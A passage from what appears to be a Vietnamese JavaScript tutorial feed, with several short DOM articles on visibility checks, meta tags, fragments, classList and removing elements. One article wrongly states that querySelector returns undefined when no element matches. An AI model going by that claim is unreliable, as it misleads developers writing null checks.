before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng phương thức <code>getComputedStyle()</code></h2> <p>Phương thức <code>getComputedStyle()</code> trả về một đối tượng bao gồm các thuộc tính CSS của phần tử.</p> <p>Bạn chỉ cần kiểm tra giá trị của thuộc tính <code>display</code> là biết phần tử visible trên DOM hay không.</p> <ul> <li>Nếu giá trị bằng <code>none</code> thì phần tử là <strong>invisible</strong>.</li> <li>Nếu giá trị khác <code>none</code> thì phần tử là <strong>visible</strong>.</li> </ul> <p>Ví dụ tương tự với cấu trúc DOM trên:</p> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">isElementVisible</span><span class="token punctuation">(</span><span class="token parameter">element</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> style <span class="token operator">=</span> window<span class="token punctuation">.</span><span class="token function">getComputedStyle</span><span class="token punctuation">(</span>element<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> style<span class="token punctuation">.</span>display <span class="token operator">!==</span> <span class="token string">"none"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> visibleObj <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".visible"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isElementVisible</span><span class="token punctuation">(</span>visibleObj<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token keyword">let</span> invisibleObj <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".invisible"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isElementVisible</span><span class="token punctuation">(</span>invisibleObj<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="/co-ban-ve-dom-javascript/">DOM là gì?</a></li> <li><a href="https://www.geeksforgeeks.org/how-to-check-if-an-element-is-visible-in-dom/">How to check if an element is visible in DOM?</a></li> </ul>[email protected]<![CDATA[Lấy thông tin thẻ meta trong JavaScript?]]><![CDATA[Để lấy thông tin của thẻ meta trong JavaScript, bạn có thể sử dụng một trong hai phương thức sau để tìm thẻ meta: Phương thức document.querySelectorAll("meta"): tìm ra tất cả các…]]>https://completejavascript.com/lay-thong-tin-the-meta-trong-javascript/https://completejavascript.com/lay-thong-tin-the-meta-trong-javascript/<![CDATA[Câu hỏi JS DOM]]>Fri, 17 Dec 2021 07:00:00 GMT<p>Để lấy thông tin của thẻ meta trong JavaScript, bạn có thể sử dụng một trong hai phương thức sau để tìm thẻ meta:</p> <ul> <li>Phương thức <code>document.querySelectorAll("meta")</code>: tìm ra tất cả các thẻ meta.</li> <li>Phương thức <code>document.querySelector("meta")</code>: trả về thẻ meta đầu tiên thỏa mãn.</li> </ul> <blockquote> <p>Mỗi thẻ meta thường có thông tin <code>name</code> và <code>content</code>,...</p> </blockquote> <h2 id="sử-dụng-phương-thức-queryselectorall" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-queryselectorall" aria-label="sử dụng phương thức queryselectorall permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng phương thức <code>querySelectorAll()</code></h2> <p>Phương thức <code>querySelectorAll()</code> để tìm tất cả thẻ meta với cú pháp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> metaList <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelectorAll</span><span class="token punctuation">(</span><span class="token string">"meta"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Câu lệnh trên trả về một mảng ("array-like") các phần tử meta có trong trang web, nếu không có thì trả về mảng rỗng.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> metaList <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelectorAll</span><span class="token punctuation">(</span><span class="token string">"meta"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> meta <span class="token keyword">of</span> metaList<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"name:"</span><span class="token punctuation">,</span> meta<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"content:"</span><span class="token punctuation">,</span> meta<span class="token punctuation">.</span>content<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="sử-dụng-phương-thức-queryselector" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-queryselector" aria-label="sử dụng phương thức queryselector permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng phương thức <code>querySelector()</code></h2> <p>Phương thức <code>querySelector()</code> trả về một thẻ meta đầu tiên tìm thấy trên trang web với cú pháp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> meta <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"meta"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Nếu trang web không có thẻ meta thì câu lệnh trên trả về <code>undefined</code>.</p> <p>Để tìm thẻ meta với điều kiện <code>name</code> bằng một giá trị cho trước, bạn có thể sử dụng như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> meta <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"meta[name='viewport']"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* &lt;meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"> */</span></code></pre></div> <p>Tương tự, bạn có thể sử dụng các thuộc tính khác - không chỉ là <code>name</code>, ví dụ <code>charset</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> meta <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"meta[charset='utf-8']"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// &lt;meta charset="utf-8"></span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="/co-ban-ve-dom-javascript/">DOM là gì?</a></li> <li><a href="https://www.geeksforgeeks.org/how-to-get-the-information-from-a-meta-tag-using-javascript/">How to get the information from a meta tag using JavaScript?</a></li> </ul>[email protected]<![CDATA[Cách gộp nhiều phần tử rồi cho kết quả vào một thẻ div trong JavaScript?]]><![CDATA[Sau đây là cách để gộp nhiều phần tử rồi cho kết quả vào một thẻ div trong JavaScript. Ví dụ DOM có cấu trúc như sau: Các bước để gộp nhiều phần tử rồi cho kết quả vào một thẻ div…]]>https://completejavascript.com/gop-nhieu-phan-tu-cho-ket-qua-vao-div-trong-javascript/https://completejavascript.com/gop-nhieu-phan-tu-cho-ket-qua-vao-div-trong-javascript/<![CDATA[Câu hỏi JS DOM]]>Fri, 17 Dec 2021 06:45:00 GMT<p>Sau đây là cách để gộp nhiều phần tử rồi cho kết quả vào một thẻ div trong JavaScript.</p> <p>Ví dụ DOM có cấu trúc như sau:</p> <div class="gatsby-code-title gatsby-remark-code-title">index.html</div> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>container<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token comment">&lt;!-- thêm phần tử vào đây --></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span></code></pre></div> <p>Các bước để gộp nhiều phần tử rồi cho kết quả vào một thẻ div trong JavaScript là:</p> <ul> <li>Tạo một fragment ("document ảo") để chứa các phần tử DOM.</li> <li>Duyệt mảng dữ liệu đầu vào: <ul> <li>Sử dụng phương thức <code>createElement()</code> để tạo phần tử DOM với dữ liệu được gán thông qua <code>innerHTML</code>.</li> <li>Dùng phương thức <code>appendChild()</code> để thêm phần tử DOM vào fragment.</li> </ul> </li> <li>Sử dụng phương thức <code>appendChild()</code> để thêm fragment vào phần tử div.</li> </ul> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// dữ liệu để tạo phần tử DOM</span> <span class="token keyword">let</span> fruits <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"apple"</span><span class="token punctuation">,</span> <span class="token string">"orange"</span><span class="token punctuation">,</span> <span class="token string">"banana"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// tạo fragment để chứa các phần tử</span> <span class="token keyword">let</span> fragment <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createDocumentFragment</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// duyệt mảng fruits để tạo ra các phần tử và thêm vào fragment</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> item <span class="token keyword">of</span> fruits<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// tạo phần tử DOM</span> <span class="token keyword">let</span> elm <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"li"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// gán nội dung cho phần tử DOM</span> elm<span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> item<span class="token punctuation">;</span> <span class="token comment">// thêm phần tử DOM vào fragment</span> fragment<span class="token punctuation">.</span><span class="token function">appendChild</span><span class="token punctuation">(</span>elm<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// query phần tử DIV là container</span> <span class="token keyword">let</span> container <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#container"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// append fragment vào container</span> container<span class="token punctuation">.</span><span class="token function">appendChild</span><span class="token punctuation">(</span>fragment<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="/co-ban-ve-dom-javascript/">DOM là gì?</a></li> <li><a href="https://www.geeksforgeeks.org/how-to-combine-multiple-elements-and-append-the-result-into-a-div-using-javascript/">How to Combine multiple elements and append the result into a div using JavaScript?</a></li> </ul>[email protected]<![CDATA[Cách kiểm tra phần tử DOM chứa class cho trước trong JavaScript?]]><![CDATA[Đôi khi bạn cần kiểm tra phần tử DOM chứa class cho trước "X" hay không. Để giải quyết vấn đề này, bạn có thể sử dụng phương thức contains(class-name) của thuộc tính classList…]]>https://completejavascript.com/kiem-tra-phan-tu-dom-co-class-cho-truoc/https://completejavascript.com/kiem-tra-phan-tu-dom-co-class-cho-truoc/<![CDATA[Câu hỏi JS DOM]]>Fri, 17 Dec 2021 06:15:00 GMT<p>Đôi khi bạn cần kiểm tra phần tử DOM chứa class cho trước "X" hay không.</p> <p>Để giải quyết vấn đề này, bạn có thể sử dụng phương thức <code>contains(class-name)</code> của thuộc tính <code>classList</code> trong phần tử DOM.</p> <h2 id="cú-pháp" style="position:relative;"><a href="#c%C3%BA-ph%C3%A1p" aria-label="cú pháp permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cú pháp</h2> <p>Cú pháp kiểm tra:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">element<span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span><span class="token string">"class-name"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Phương thức trên trả về <code>true</code> nếu phần tử chứa class <code>class-name</code>, ngược lại thì trả về <code>false</code>.</p> <h2 id="ví-dụ" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5" aria-label="ví dụ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ</h2> <p>Phần tử DOM như sau:</p> <div class="gatsby-code-title gatsby-remark-code-title">index.html</div> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h1</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>main<span class="token punctuation">"</span></span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>main<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Welcome to JavaScript<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h1</span><span class="token punctuation">></span></span></code></pre></div> <p>Các bước kiểm tra phần tử DOM chứa class cho trước hay không như sau:</p> <ul> <li>Query để tìm phần tử DOM cần kiểm tra.</li> <li>Sử dụng phương thức <code>elem.classList.contains()</code> để kiểm tra với class cho trước.</li> </ul> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// query phần tử DOM cần kiểm tra</span> <span class="token keyword">let</span> elem <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#main"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ví dụ kiểm tra class main</span> <span class="token keyword">let</span> hasClassMain <span class="token operator">=</span> elem<span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span><span class="token string">"main"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>hasClassMain<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Found class: main"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// đoạn log này được ghi ra</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Not found class: main"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// ví dụ kiểm tra class other</span> <span class="token keyword">let</span> hasClassOther <span class="token operator">=</span> elem<span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span><span class="token string">"other"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>hasClassOther<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Found class: other"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Not found class: other"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// đoạn log này được ghi ra</span> <span class="token punctuation">}</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="/co-ban-ve-dom-javascript/">DOM là gì?</a></li> <li><a href="https://www.geeksforgeeks.org/how-to-check-the-given-element-has-the-specified-class-in-javascript/">How to check the given element has the specified class in JavaScript?</a></li> </ul>[email protected]<![CDATA[Cách xóa phần tử DOM trong JavaScript?]]><![CDATA[Để xóa phần tử DOM trong JavaScript, bạn có thể sử dụng phương thức remove() hoặc removeChild(). Ví dụ DOM như sau: Sử dụng phương thức remove() Các bước để xóa phần tử DOM với…]]>https://completejavascript.com/xoa-phan-tu-dom-node-trong-javascript/https://completejavascript.com/xoa-phan-tu-dom-node-trong-javascript/<![CDATA[Câu hỏi JS DOM]]>Fri, 17 Dec 2021 06:00:00 GMT<p>Để xóa phần tử DOM trong JavaScript, bạn có thể sử dụng phương thức <code>remove()</code> hoặc <code>removeChild()</code>.</p> <p>Ví dụ DOM như sau:</p> <div class="gatsby-code-title gatsby-remark-code-title">index.html</div> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>toRemove<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> Thẻ div này cần được xóa <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span></code></pre></div> <h2 id="sử-dụng-phương-thức-remove" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-remove" aria-label="sử dụng phương thức remove permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng phương thức <code>remove()</code></h2> <p>Các bước để xóa phần tử DOM với phương thức <code>remove()</code> như sau:</p> <ul> <li>Dùng <code>document.querySelector("#toRemove")</code> để tìm phần tử cần xóa.</li> <li>Sử dụng <code>toRemove.remove()</code> để xóa phần tử <code>toRemove</code>.</li> </ul> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// query để tìm DOM cần xóa</span> <span class="token keyword">let</span> toRemove <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#toRemove"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// gọi remove để xóa phần tử DOM</span> toRemove<span class="token punctuation">.</span><span class="token function">remove</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="sử-dụng-phương-thức-removechild" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-removechild" aria-label="sử dụng phương thức removechild permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng phương thức <code>removeChild()</code></h2> <p>Các bước để xóa phần tử DOM với phương thức <code>removeChild()</code> như sau:</p> <ul> <li>Dùng <code>document.querySelector("#toRemove")</code> để tìm phần tử cần xóa.</li> <li>Sử dụng <code>toRemove.parentNode.removeChild(toRemove)</code> để xóa phần tử <code>toRemove</code>.</li> </ul> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// query để tìm DOM cần xóa</span> <span class="token keyword">let</span> toRemove <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#toRemove"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// gọi parentNode.removeChild để xóa phần tử DOM</span> toRemove<span class="token punctuation">.</span>parentNode<span class="token punctuation">.</span><span class="token function">removeChild</span><span class="token punctuation">(</span>toRemove<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="/co-ban-ve-dom-javascript/">DOM là gì?</a></li> <li><a href="https://www.geeksforgeeks.org/how-to-remove-an-html-element-using-javascript/">How to remove an HTML element using JavaScript?</a></li> </ul>[email protected]<![CDATA[Cách xóa hết các phần tử con của DOM node trong JavaScript?]]><![CDATA[Để xóa hết các phần tử con của DOM node trong JavaScript, bạn có thể sử dụng vòng lặp kết hợp với phương thức removeChild(), innerHTML hoặc textContent. Ví dụ các DOM node có cấu…]]>https://completejavascript.com/xoa-het-phan-tu-con-dom-node-trong-javascript/https://completejavascript.com/xoa-het-phan-tu-con-dom-node-trong-javascript/<![CDATA[Câu hỏi JS DOM]]>Thu, 16 Dec 2021 06:00:00 GMT<p>Để xóa hết các phần tử con của DOM node trong JavaScript, bạn có thể sử dụng vòng lặp kết hợp với phương thức <code>removeChild()</code>, <code>innerHTML</code> hoặc <code>textContent</code>.</p> <p>Ví dụ các DOM node có cấu trúc như sau:</p> <div class="gatsby-code-title gatsby-remark-code-title">index.html</div> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>ul</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>Apple<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>Orange<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>Banana<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>Coconut<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span><span class="token punctuation">></span></span>Mango<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>ul</span><span class="token punctuation">></span></span></code></pre></div> <h2 id="sử-dụng-phương-thức-removechild" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-removechild" aria-label="sử dụng phương thức removechild permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng phương thức <code>removeChild()</code></h2> <p>Các bước để xóa hết các phần tử con của DOM node trong JavaScript như sau:</p> <ul> <li>Query để tìm DOM node cần xóa các phần tử con <code>document.querySelector("ul")</code>.</li> <li>Dùng <code>e.lastElementChild</code> hoặc <code>e.firstElementChild</code> để lấy phần tử con cuối cùng hoặc đầu tiên.</li> <li>Sử dụng vòng lặp để duyệt hết tất cả các phần tử con của DOM node. <ul> <li>Nếu phần tử con <code>child</code> vẫn tồn tại thì dùng <code>e.removeChild(child)</code> để xóa <code>child</code>.</li> <li>Cho đến khi không còn phần tử con <code>child</code> thì dừng lại.</li> </ul> </li> </ul> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// query để tìm DOM node cần xóa các phần tử con</span> <span class="token keyword">let</span> e <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"ul"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// có thể sử dụng e.firstElementChild</span> <span class="token keyword">let</span> child <span class="token operator">=</span> e<span class="token punctuation">.</span>lastElementChild<span class="token punctuation">;</span> <span class="token comment">// loop cho đến khi child không tồn tại thì dừng lại</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>child<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// xóa child</span> e<span class="token punctuation">.</span><span class="token function">removeChild</span><span class="token punctuation">(</span>child<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// gán child bằng phần tử con cuối cùng mới</span> child <span class="token operator">=</span> e<span class="token punctuation">.</span>lastElementChild<span class="token punctuation">;</span> <span class="token 